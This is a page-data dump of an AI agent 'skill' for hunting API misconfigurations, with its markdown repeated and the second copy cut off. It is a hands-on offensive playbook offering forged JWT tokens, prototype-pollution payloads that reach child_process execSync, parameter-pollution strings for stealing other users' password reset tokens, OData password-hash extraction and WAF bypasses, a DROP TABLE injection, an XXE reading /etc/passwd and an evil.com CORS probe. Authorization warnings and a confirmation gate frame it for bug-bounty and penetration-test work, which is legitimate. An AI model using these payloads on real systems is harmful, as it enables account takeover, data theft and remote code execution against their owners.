[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6P5ND335WW227KJMV38GY27":3,"skill-same:01M6P5ND335WW227KJMV38GY27":78},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":27,"publishedAt":48,"linkOnly":49,"markdownContent":50,"markdownBody":51,"frontMatter":52,"refName":31,"commitSha":59,"skillDirectory":60,"forksCount":13,"repositoryHtmlUrl":61,"repositoryHomepageUrl":6,"ownerHtmlUrl":62,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":63,"install":64,"resources":77},"01M6P5ND335WW227KJMV38GY27","hunt-api-misconfig",null,"Hunt API security misconfiguration","duc-duy-1612\u002FOnline-Delivery-Systems-Web","duc-duy-1612","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F192231384?v=4","01M6NSDKQQDKVTHZ8DZMZ1VYY6","01M6NSDKW8DDVTQHBT1HBDDJPT",0,"MIT","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-api-misconfig\u002FSKILL.md",[17,22],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":23,"categoryName":24,"taxonomyType":25,"taxonomyTypeDesc":26},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47],"hunt api misconfig","api","hunt","main","for","relevant","helper","offensive","scripts","scope","commands","api security","testing","community","only","misconfiguration","Tools","owasp","license","security","2026-11-10 10:12:30",false,"---\nname: hunt-api-misconfig\ndescription: Hunt API security misconfiguration\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: hackerone_public, owasp_api_top10_2023, public_research\nreport_count: 0\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## 12. API SECURITY MISCONFIGURATION\n\n### Mass Assignment\n```javascript\nUser.update(req.body)  \u002F\u002F body has {\"role\": \"admin\"} → privilege escalation\n```\n\n### JWT None Algorithm\n```python\nheader = {\"alg\": \"none\", \"typ\": \"JWT\"}\npayload = {\"sub\": 1, \"role\": \"admin\"}\ntoken = base64(header) + \".\" + base64(payload) + \".\"  # no signature\n```\n\n### JWT RS256 → HS256 Algorithm Confusion\n```python\n# Get server's public key from \u002F.well-known\u002Fjwks.json\n# Sign token with public key as HMAC secret\ntoken = jwt.encode({\"sub\": \"admin\", \"role\": \"admin\"}, pub_key, algorithm=\"HS256\")\n# Server uses RS256 key as HS256 secret → accepts it\n```\n\n### Prototype Pollution\n```javascript\n\u002F\u002F Server-side — Node.js merge without protection\n{\"__proto__\": {\"admin\": true}}\n{\"constructor\": {\"prototype\": {\"admin\": true}}}\n\u002F\u002F URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin\n```\n\nFor server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor\nJSON\u002Fobject update endpoints such as profile, address, preferences, settings, cart, admin job, import,\nor webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype\nstate reaches a later operation.\n\nHunt sequence:\n\n1. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects.\n   Try both JSON and form encodings when the app accepts forms. Include CSRF\u002Fsession fields when needed.\n2. **Pollute harmless marker properties.** Send variants such as:\n\n```\n{\"__proto__\":{\"polluted\":\"pp-1337\"}}\n{\"constructor\":{\"prototype\":{\"polluted\":\"pp-1337\"}}}\n__proto__[polluted]=pp-1337\nconstructor[prototype][polluted]=pp-1337\n```\n\n3. **Trigger a separate sink.** After pollution, request account\u002Fprofile\u002Fadmin\u002Fjob\u002Fexport\u002Fsearch\u002Frender\n   endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields,\n   server errors mentioning object properties, changed job output, template\u002Frender errors, or command\u002Fjob\n   behavior changes.\n4. **Escalate only through learned sinks.** Candidate properties depend on the sink:\n\n```\n{\"__proto__\":{\"json spaces\":10}}\n{\"__proto__\":{\"status\":555}}\n{\"__proto__\":{\"isAdmin\":true,\"role\":\"admin\"}}\n{\"__proto__\":{\"shell\":\"\u002Fbin\u002Fbash\",\"argv0\":\"node\",\"NODE_OPTIONS\":\"--inspect\"}}\n{\"__proto__\":{\"execArgv\":[\"--eval\",\"process.mainModule.require('child_process').execSync('id')\"]}}\n```\n\n5. **For exfiltration labs or real impact, prefer non-destructive proof.** If an admin job, diagnostic,\n   export, or rendering endpoint consumes polluted defaults, use a marker or environment\u002Fsecret read only\n   when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.\n\n### Server-Side Parameter Pollution in Backend URL \u002F REST URL Construction\n\nUse this when a frontend form or endpoint appears to call a server-side API on your behalf\n(password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not\nordinary client-side query pollution. The server takes your input and interpolates it into a backend\nURL path or query string, such as:\n\n```\n\u002Fapi\u002Finternal\u002Fusers\u002F\u003Cusername>\u002Ffield\u002Femail\n\u002Fapi\u002Fusers\u002F\u003Cid>\n\u002Fapi\u002Fusers?username=\u003Cusername>&field=email\n```\n\nHunt sequence:\n\n1. **Find the flow and read the client request.** Fetch the page and any referenced JavaScript. Look\n   for form actions, `fetch(...)`, hidden CSRF fields, and the exact parameter name the browser sends.\n   If there is a reset\u002Faccount form, test known usernames first to learn the normal success\u002Ferror shape.\n2. **Determine whether input lands in a backend path or query.** Send URL metacharacters in the input:\n   `#`, `?`, `&x=y`, `\u002F`, `..\u002F`, and encoded forms `%23`, `%3f`, `%26x=y`, `%2f`, `%2e%2e%2f`.\n   Distinct errors such as `Invalid route`, `API definition`, `unsupported field`, or changed returned\n   fields mean your value is being interpreted by a server-side URL router, not merely validated as text.\n3. **Use path traversal to move inside the server-side URL.** If `username\u002F..\u002Fother-user` changes the\n   referenced account, the input is in a REST path segment. Then try appending route fragments such as\n   `\u002Ffield\u002Femail`, `\u002Ffield\u002Fid`, `\u002Ffield\u002Fusername`, `\u002Ffield\u002FpasswordResetToken`, and terminate the rest\n   of the original backend path with `#` or `%23` when the backend URL parser honors fragments.\n4. **Discover API documentation from errors.** When an error says to consult the API definition, probe\n   common documentation\u002Fspec paths: `\u002Fopenapi.json`, `\u002Fswagger.json`, `\u002Fapi-docs`, `\u002Fapi\u002Fswagger.json`,\n   `\u002Fswagger\u002Fv1\u002Fswagger.json`, `\u002Fv3\u002Fapi-docs`, and path-traversal variants that attempt to reach the\n   spec from the vulnerable backend route. A spec or descriptive route error tells you valid resources\n   and field names.\n5. **Exploit only to prove impact.** For password reset\u002Faccount lookup flows, the strongest proof is a\n   sensitive field such as a reset token or secret for another user, then using that token in the normal\n   application flow to complete account takeover. Do not stop at `Invalid route`; use errors as routing\n   feedback.\n\nPayload patterns to try, adapted to the observed parameter name:\n\n```\nusername=administrator%23\nusername=administrator%3f\nusername=administrator%2f..%2fvictimuser\nusername=administrator\u002F..\u002Fvictimuser\nusername=administrator\u002Ffield\u002Femail%23\nusername=administrator\u002Ffield\u002Fid%23\nusername=administrator\u002Ffield\u002FpasswordResetToken%23\nusername=administrator%2ffield%2fpasswordResetToken%23\n```\n\n### CORS Exploitation\n```bash\n# Test: reflected origin + credentials\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" https:\u002F\u002Ftarget.com\u002Fapi\u002Fuser\u002Fme\n# If: Access-Control-Allow-Origin: https:\u002F\u002Fevil.com + Access-Control-Allow-Credentials: true\n# → CRITICAL: attacker reads credentialed responses\n```\n\n---\n\n## OData $filter \u002F $select \u002F $expand WAF-Blacklist Bypass (2024-2026 surface)\n\nOData (Open Data Protocol) is the query layer behind **SharePoint, Microsoft Dynamics 365 \u002F Power Platform, SAP NetWeaver Gateway \u002F Fiori,** and any ASP.NET WebAPI project using `Microsoft.AspNetCore.OData`. It exposes SQL-shaped query operators (`eq`, `ne`, `and`, `or`, `substringof`, `startswith`, `tolower`, `concat`, `replace`) that look SQL-ish but are NOT SQL — meaning keyword-blacklist WAFs routinely fail open on OData traffic.\n\n### Attack class 1 — Boolean-logic blind extraction via `startswith` \u002F `substringof`\n\n```\nGET \u002F_api\u002Fdata\u002Fcontacts?$filter=startswith(adx_identity_passwordhash,'a')\nGET \u002F_api\u002Fdata\u002Fcontacts?$filter=startswith(adx_identity_passwordhash,'aa')\n```\n\nIterate prefix character-by-character; cardinality of the response (or `@odata.count`) is the boolean oracle that confirms the prefix is correct. No SQLi engine needed, no `'`\u002F`--` characters — the WAF sees only legitimate OData keywords. Extracted Microsoft Dynamics 365 \u002F Power Apps Portals **password hashes, names, emails, addresses, financial data** in Dec 2023; Microsoft patched May 2024. ([Stratus Security writeup](https:\u002F\u002Fwww.stratussecurity.com\u002Fpost\u002Fcritical-microsoft-365-vulnerability), [The Hacker News coverage Jan 2025](https:\u002F\u002Fthehackernews.com\u002F2025\u002F01\u002Fsevere-security-flaws-patched-in.html))\n\n### Attack class 2 — `$orderby` \u002F `$select` column-disclosure bypass\n\n```\nGET \u002Fapi\u002Fdata\u002Fv9.0\u002Fcontacts?$orderby=emailaddress1 desc&$select=fullname\n```\n\n`$orderby` accepts column names the user has no `$select` permission for, but the engine still sorts on them — the returned order leaks the protected column. Column-level ACLs are enforced on the projection (`$select`) but NOT on `$orderby` \u002F `$filter` — same protected column, different code path. Second Stratus finding in the same Dynamics 365 disclosure; \"more dangerous than the first because it directly returned the data\" per Stratus.\n\n### Attack class 3 — `$batch` multipart\u002Fmixed → per-request WAF signatures miss sub-operations\n\n```\nPOST \u002Fodata\u002F$batch  Content-Type: multipart\u002Fmixed; boundary=batch_1\n--batch_1\nContent-Type: application\u002Fhttp\nGET Users?$filter=1 eq 1 HTTP\u002F1.1\n--batch_1--\n```\n\nWAFs that scan only the outer request body (or that don't natively parse `multipart\u002Fmixed`) skip every inner operation. ModSecurity refused `multipart\u002Fmixed` historically ([Issue #3296](https:\u002F\u002Fgithub.com\u002Fowasp-modsecurity\u002FModSecurity\u002Fissues\u002F3296)); F5 added native batch parsing only in Advanced WAF v16.1 ([F5 SAP-Fiori advisory](https:\u002F\u002Fwww.f5.com\u002Fcompany\u002Fblog\u002Fsecuring-sap-fiori-http-batched-requests-odata-with-f5-advance)). The 2025 WAFFLED paper ([arXiv 2503.10846](https:\u002F\u002Farxiv.org\u002Fhtml\u002F2503.10846v1)) generalises the parsing-discrepancy bypass class across 5 major WAFs.\n\n### Attack class 4 — Encoded \u002F non-canonical operator → keyword-blacklist bypass\n\n```\nGET \u002Fapi?%24filter=Name%20eq%20'x'%20or%201%20eq%201   # URL-encoded $\nGET \u002Fapi?%2524filter=...                                # double-encoded\nGET \u002FUsers(1)\u002F$value                                    # path-segment style\n```\n\nMixed-case operators (`Eq`, `EQ`) and obscure ones (`substringof`, `tolower`, `concat`, `replace`) look unlike `SELECT`\u002F`UNION` so SQLi-keyword signatures never fire. WAFs that key on the literal string `$filter` see neither form — but the OData server normalises both before evaluating the predicate. Documented since Kalra Black Hat AD 2012; canonical OData-vs-WAF impedance mismatch. ([OWASP Double Encoding](https:\u002F\u002Fowasp.org\u002Fwww-community\u002FDouble_Encoding))\n\n### Attack class 5 — OData → real SQLi when library passes filter raw\n\n```\n$filter=Name eq 'x'); DROP TABLE Users--'\n```\n\nOnly triggers when the OData layer string-concatenates into SQL instead of using LINQ. Documented in [OData\u002FWebApi Issue #2352](https:\u002F\u002Fgithub.com\u002FOData\u002FWebApi\u002Fissues\u002F2352). The XML-deserialisation variant: **CVE-2019-17554** (Apache Olingo OData 4.0.0-4.6.0, XXE via `\u003C!DOCTYPE foo [\u003C!ENTITY x SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">]>` in `application\u002Fxml` body, CVSS 7.5). DoS variant: **CVE-2018-8269** (Microsoft.Data.OData deep `$filter` recursion → stack overflow).\n\n### Bonus — `$expand` navigation-property IDOR\n\n```\nGET \u002FOrders?$expand=Customer($expand=PaymentMethods($expand=Card))\n```\n\nAuthorisation decorators applied to top-level entity sets; the engine joins along navigation properties without re-checking ACL on the joined entity. Same root cause as the 2021 PowerApps Portals 38M-record mass leak ([UpGuard writeup](https:\u002F\u002Fwww.upguard.com\u002Fbreaches\u002Fpower-apps)).\n\n### Detection heuristics\n\n- Response headers: `OData-Version: 4.0` \u002F `DataServiceVersion: 3.0`; URL paths `\u002F_api\u002F`, `\u002Fodata\u002F`, `\u002F_vti_bin\u002F`, `\u002Fapi\u002Fdata\u002Fv9.x\u002F`, `\u002Fsap\u002Fopu\u002Fodata\u002F`.\n- Try `$metadata` → if anonymous, the full schema (entity sets, navigation properties, function imports) is yours.\n- Probe each entity set with `$filter=1 eq 1`, `$top=1`, `$select=*`, then `$orderby=\u003Ccolumn-you-shouldnt-see>` for column-level ACL.\n- Send the same payload three ways (`$filter=`, `%24filter=`, `%2524filter=`) and through `$batch` — divergent WAF behaviour confirms the parser-discrepancy bug.\n\n---\n\n## NSwag \u002F Swagger \u002F OpenAPI Spec Exposure (2024-2026 surface)\n\nNSwag is the Swagger\u002FOpenAPI toolchain for ASP.NET Core. Default routes (`\u002Fswagger`, `\u002Fswagger\u002Fv1\u002Fswagger.json`, `\u002Fswagger\u002Findex.html`) ship enabled in many .NET 6\u002F7\u002F8 projects and developers leave them on in production. The exposed spec discloses every endpoint, HTTP methods, parameter names + types + formats + max-lengths, models, validation rules — a complete attack-map in JSON.\n\n### Default discovery paths (cross-references `web2-recon`)\n\n```\n# NSwag \u002F Swashbuckle (ASP.NET Core)\n\u002Fswagger, \u002Fswagger\u002Findex.html, \u002Fswagger\u002Fv1\u002Fswagger.json, \u002Fswagger\u002Fv2\u002Fswagger.json, \u002Fswagger\u002Fv3\u002Fswagger.json\n\u002Fswagger-ui, \u002Fswagger-ui\u002F, \u002Fswagger-ui.html, \u002Fapi-docs\n\u002Fnswag, \u002Fnswag\u002Findex.html, \u002Fapi\u002Fswagger, \u002Fapi\u002Fswagger.json, \u002Fapi\u002Fopenapi.json\n\n# Generic OpenAPI\n\u002Fopenapi, \u002Fopenapi.json, \u002Fopenapi.yaml, \u002F.well-known\u002Fopenapi.json\n\n# Java \u002F Spring (Springfox \u002F springdoc)\n\u002Fv2\u002Fapi-docs, \u002Fv3\u002Fapi-docs, \u002Fv3\u002Fapi-docs.yaml, \u002Fswagger-resources\n\n# Python (FastAPI \u002F Connexion)\n\u002Fdocs, \u002Fredoc, \u002Fopenapi.json\n\n# Quarkus\n\u002Fq\u002Fopenapi, \u002Fq\u002Fswagger-ui\n\n# GraphQL adjacent\n\u002Fgraphql, \u002Fgraphiql, \u002Fplayground, \u002Faltair, \u002Fvoyager\n```\n\nTools: `kiterunner` natively eats OpenAPI; `sj` (Swagger Jacker), `apidetector`, `XSSwagger`.\n\n### Attack chains\n\n**A. Spec disclosure → mass IDOR \u002F BOLA.** Spec lists every `GET \u002Fapi\u002Fv1\u002Fusers\u002F{userId}\u002F...`. `jq '.paths | keys' swagger.json` → swap `{userId}` for victim's ID via Autorize\u002F`ffuf -mc 200`. Common case: spec leaks `\u002Fapi\u002Fadmin\u002Fusers\u002F{id}\u002Freset-password` documented but missing `[Authorize(Roles=\"Admin\")]` on the controller — low-priv ATO.\n\n**B. Spec disclosure → mass-assignment payload construction.** `components.schemas.UserUpdateDto` enumerates every model field including `isAdmin`, `emailVerified`, `tenantId`, `role`. Attacker copies the schema verbatim into `PATCH \u002Fusers\u002Fme` and adds the privileged fields. Server's `[FromBody]` binder accepts them when DTOs aren't split into read-vs-write models.\n\n**C. Hidden endpoints.** Specs document `\u002Finternal\u002F*`, `\u002Fdebug\u002F*`, `\u002Fv0\u002F*`, `\u002Flegacy\u002F*` routes that no front-end UI references. Reachable but uncovered by WAF rules and often skipped during auth reviews.\n\n**D. Swagger UI configUrl takeover.** Swagger UI loads its config from `?configUrl=`. If unsanitised, attacker hosts an evil OpenAPI spec, sends victim a link to the *legitimate* Swagger UI with `?configUrl=https:\u002F\u002Fevil\u002Fspec.json`. Spec routes point back at the legitimate origin so the victim's \"Try It Out\" clicks fire same-origin authenticated requests. ([HackerOne #3124103 — U.S. DoD Swagger UI Injection, May 2025](https:\u002F\u002Fhackerone.com\u002Freports\u002F3124103))\n\n### Disclosed cases\n\n- **CVE-2018-25031** — Swagger UI ≤ 4.1.2 spec-injection via URL parameter; affects org.webjars:swagger-ui broadly (embedded in Swashbuckle and NSwag bundles).\n- **Swagger UI DOM XSS (3.14.1 → 3.38.0)** — outdated bundled DOMPurify + remote-spec-load → arbitrary JS in victim browser ([Vidoc Security Lab writeup](https:\u002F\u002Fblog.vidocsecurity.com\u002Fblog\u002Fhacking-swagger-ui-from-xss-to-account-takeovers), [PortSwigger Daily Swig](https:\u002F\u002Fportswigger.net\u002Fdaily-swig\u002Fwidespread-swagger-ui-library-vulnerability-leads-to-dom-xss-attacks)). Reported live on PayPal, Atlassian, Microsoft, GitLab, Yahoo.\n- **HackerOne #3124103** — U.S. Department of Defense, Swagger UI Injection (May 2025).\n- **HackerOne #2534300** — Ionity GmbH, HTML injection in Swagger UI.\n- **HackerOne #1656650** — Reflected XSS via Swagger UI `url=` parameter.\n- **CloudSEK threat-intel (2024)** — actors abuse exposed `swagger-ui` to invoke a verified-business WhatsApp send-message endpoint, impersonating the company to its customers. 6,000+ exposed Swagger UI instances on Shodan at time of writing. ([CloudSEK report](https:\u002F\u002Fwww.cloudsek.com\u002Fthreatintelligence\u002Fthreat-actors-use-exposed-swagger-ui-to-misuse-a-companys-endpoints-and-target-customers))\n- **CVE-2023-38337** — `rswag` (Ruby Swagger toolchain) directory traversal — reminder that the spec endpoint is itself an attack surface.\n\n### Detection checklist\n\n1. httpx-probe every path above across the full subdomain set; flag 200 with `Content-Type: application\u002Fjson` AND body matching `\"swagger\"` or `\"openapi\"`.\n2. For every hit: `jq '.paths | keys' swagger.json` → feed to kiterunner \u002F Autorize.\n3. `jq '.components.schemas' swagger.json` → mass-assignment field candidates.\n4. Banner the Swagger UI HTML for version string; map to the CVE-2018-25031 \u002F DOM-XSS table.\n5. Test `?configUrl=` and `?url=` parameter handling on every Swagger UI hit.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-ato`** — Mass assignment on signup\u002Fprofile is the fastest path to admin. Chain primitive: API mass assignment + `hunt-ato` → `role=admin` set on signup → ATO via privileged role on first login.\n- **`hunt-auth-bypass`** — JWT flaws collapse the entire auth layer. Chain primitive: JWT `alg=none` + `hunt-auth-bypass` → impersonate any user by setting `sub` to victim ID, no signature required.\n- **`hunt-rce`** — Prototype pollution gadgets in Node.js dependencies (lodash, mongoose, jQuery) reach `child_process.spawn`. Chain primitive: Prototype pollution (`__proto__.shell=true`) + `hunt-rce` (Node.js gadget chain) → RCE on the API node.\n- **`hunt-subdomain`** — CORS regex with wildcard subdomain trusts a takeoverable host. Chain primitive: CORS allowlist `*.target.com` + subdomain takeover → attacker-controlled origin reads credentialed API responses.\n- **`security-arsenal`** — Load the JWT Attack Payloads section (alg=none, kid path traversal, JWK injection, embedded JWK) and the Mass-Assignment Field Wordlist (`is_admin`, `role`, `verified`, `permissions`, `org_id`, `tenant_id`).\n- **`triage-validation`** — Apply the Server-Policy-vs-State gate: a permissive CORS header alone is informational; demonstrate actual cross-origin credentialed read of sensitive data before reporting.\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## 12. API SECURITY MISCONFIGURATION\n\n### Mass Assignment\n```javascript\nUser.update(req.body)  \u002F\u002F body has {\"role\": \"admin\"} → privilege escalation\n```\n\n### JWT None Algorithm\n```python\nheader = {\"alg\": \"none\", \"typ\": \"JWT\"}\npayload = {\"sub\": 1, \"role\": \"admin\"}\ntoken = base64(header) + \".\" + base64(payload) + \".\"  # no signature\n```\n\n### JWT RS256 → HS256 Algorithm Confusion\n```python\n# Get server's public key from \u002F.well-known\u002Fjwks.json\n# Sign token with public key as HMAC secret\ntoken = jwt.encode({\"sub\": \"admin\", \"role\": \"admin\"}, pub_key, algorithm=\"HS256\")\n# Server uses RS256 key as HS256 secret → accepts it\n```\n\n### Prototype Pollution\n```javascript\n\u002F\u002F Server-side — Node.js merge without protection\n{\"__proto__\": {\"admin\": true}}\n{\"constructor\": {\"prototype\": {\"admin\": true}}}\n\u002F\u002F URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin\n```\n\nFor server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor\nJSON\u002Fobject update endpoints such as profile, address, preferences, settings, cart, admin job, import,\nor webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype\nstate reaches a later operation.\n\nHunt sequence:\n\n1. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects.\n   Try both JSON and form encodings when the app accepts forms. Include CSRF\u002Fsession fields when needed.\n2. **Pollute harmless marker properties.** Send variants such as:\n\n```\n{\"__proto__\":{\"polluted\":\"pp-1337\"}}\n{\"constructor\":{\"prototype\":{\"polluted\":\"pp-1337\"}}}\n__proto__[polluted]=pp-1337\nconstructor[prototype][polluted]=pp-1337\n```\n\n3. **Trigger a separate sink.** After pollution, request account\u002Fprofile\u002Fadmin\u002Fjob\u002Fexport\u002Fsearch\u002Frender\n   endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields,\n   server errors mentioning object properties, changed job output, template\u002Frender errors, or command\u002Fjob\n   behavior changes.\n4. **Escalate only through learned sinks.** Candidate properties depend on the sink:\n\n```\n{\"__proto__\":{\"json spaces\":10}}\n{\"__proto__\":{\"status\":555}}\n{\"__proto__\":{\"isAdmin\":true,\"role\":\"admin\"}}\n{\"__proto__\":{\"shell\":\"\u002Fbin\u002Fbash\",\"argv0\":\"node\",\"NODE_OPTIONS\":\"--inspect\"}}\n{\"__proto__\":{\"execArgv\":[\"--eval\",\"process.mainModule.require('child_process').execSync('id')\"]}}\n```\n\n5. **For exfiltration labs or real impact, prefer non-destructive proof.** If an admin job, diagnostic,\n   export, or rendering endpoint consumes polluted defaults, use a marker or environment\u002Fsecret read only\n   when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.\n\n### Server-Side Parameter Pollution in Backend URL \u002F REST URL Construction\n\nUse this when a frontend form or endpoint appears to call a server-side API on your behalf\n(password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not\nordinary client-side query pollution. The server takes your input and interpolates it into a backend\nURL path or query string, such as:\n\n```\n\u002Fapi\u002Finternal\u002Fusers\u002F\u003Cusername>\u002Ffield\u002Femail\n\u002Fapi\u002Fusers\u002F\u003Cid>\n\u002Fapi\u002Fusers?username=\u003Cusername>&field=email\n```\n\nHunt sequence:\n\n1. **Find the flow and read the client request.** Fetch the page and any referenced JavaScript. Look\n   for form actions, `fetch(...)`, hidden CSRF fields, and the exact parameter name the browser sends.\n   If there is a reset\u002Faccount form, test known usernames first to learn the normal success\u002Ferror shape.\n2. **Determine whether input lands in a backend path or query.** Send URL metacharacters in the input:\n   `#`, `?`, `&x=y`, `\u002F`, `..\u002F`, and encoded forms `%23`, `%3f`, `%26x=y`, `%2f`, `%2e%2e%2f`.\n   Distinct errors such as `Invalid route`, `API definition`, `unsupported field`, or changed returned\n   fields mean your value is being interpreted by a server-side URL router, not merely validated as text.\n3. **Use path traversal to move inside the server-side URL.** If `username\u002F..\u002Fother-user` changes the\n   referenced account, the input is in a REST path segment. Then try appending route fragments such as\n   `\u002Ffield\u002Femail`, `\u002Ffield\u002Fid`, `\u002Ffield\u002Fusername`, `\u002Ffield\u002FpasswordResetToken`, and terminate the rest\n   of the original backend path with `#` or `%23` when the backend URL parser honors fragments.\n4. **Discover API documentation from errors.** When an error says to consult the API definition, probe\n   common documentation\u002Fspec paths: `\u002Fopenapi.json`, `\u002Fswagger.json`, `\u002Fapi-docs`, `\u002Fapi\u002Fswagger.json`,\n   `\u002Fswagger\u002Fv1\u002Fswagger.json`, `\u002Fv3\u002Fapi-docs`, and path-traversal variants that attempt to reach the\n   spec from the vulnerable backend route. A spec or descriptive route error tells you valid resources\n   and field names.\n5. **Exploit only to prove impact.** For password reset\u002Faccount lookup flows, the strongest proof is a\n   sensitive field such as a reset token or secret for another user, then using that token in the normal\n   application flow to complete account takeover. Do not stop at `Invalid route`; use errors as routing\n   feedback.\n\nPayload patterns to try, adapted to the observed parameter name:\n\n```\nusername=administrator%23\nusername=administrator%3f\nusername=administrator%2f..%2fvictimuser\nusername=administrator\u002F..\u002Fvictimuser\nusername=administrator\u002Ffield\u002Femail%23\nusername=administrator\u002Ffield\u002Fid%23\nusername=administrator\u002Ffield\u002FpasswordResetToken%23\nusername=administrator%2ffield%2fpasswordResetToken%23\n```\n\n### CORS Exploitation\n```bash\n# Test: reflected origin + credentials\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" https:\u002F\u002Ftarget.com\u002Fapi\u002Fuser\u002Fme\n# If: Access-Control-Allow-Origin: https:\u002F\u002Fevil.com + Access-Control-Allow-Credentials: true\n# → CRITICAL: attacker reads credentialed responses\n```\n\n---\n\n## OData $filter \u002F $select \u002F $expand WAF-Blacklist Bypass (2024-2026 surface)\n\nOData (Open Data Protocol) is the query layer behind **SharePoint, Microsoft Dynamics 365 \u002F Power Platform, SAP NetWeaver Gateway \u002F Fiori,** and any ASP.NET WebAPI project using `Microsoft.AspNetCore.OData`. It exposes SQL-shaped query operators (`eq`, `ne`, `and`, `or`, `substringof`, `startswith`, `tolower`, `concat`, `replace`) that look SQL-ish but are NOT SQL — meaning keyword-blacklist WAFs routinely fail open on OData traffic.\n\n### Attack class 1 — Boolean-logic blind extraction via `startswith` \u002F `substringof`\n\n```\nGET \u002F_api\u002Fdata\u002Fcontacts?$filter=startswith(adx_identity_passwordhash,'a')\nGET \u002F_api\u002Fdata\u002Fcontacts?$filter=startswith(adx_identity_passwordhash,'aa')\n```\n\nIterate prefix character-by-character; cardinality of the response (or `@odata.count`) is the boolean oracle that confirms the prefix is correct. No SQLi engine needed, no `'`\u002F`--` characters — the WAF sees only legitimate OData keywords. Extracted Microsoft Dynamics 365 \u002F Power Apps Portals **password hashes, names, emails, addresses, financial data** in Dec 2023; Microsoft patched May 2024. ([Stratus Security writeup](https:\u002F\u002Fwww.stratussecurity.com\u002Fpost\u002Fcritical-microsoft-365-vulnerability), [The Hacker News coverage Jan 2025](https:\u002F\u002Fthehackernews.com\u002F2025\u002F01\u002Fsevere-security-flaws-patched-in.html))\n\n### Attack class 2 — `$orderby` \u002F `$select` column-disclosure bypass\n\n```\nGET \u002Fapi\u002Fdata\u002Fv9.0\u002Fcontacts?$orderby=emailaddress1 desc&$select=fullname\n```\n\n`$orderby` accepts column names the user has no `$select` permission for, but the engine still sorts on them — the returned order leaks the protected column. Column-level ACLs are enforced on the projection (`$select`) but NOT on `$orderby` \u002F `$filter` — same protected column, different code path. Second Stratus finding in the same Dynamics 365 disclosure; \"more dangerous than the first because it directly returned the data\" per Stratus.\n\n### Attack class 3 — `$batch` multipart\u002Fmixed → per-request WAF signatures miss sub-operations\n\n```\nPOST 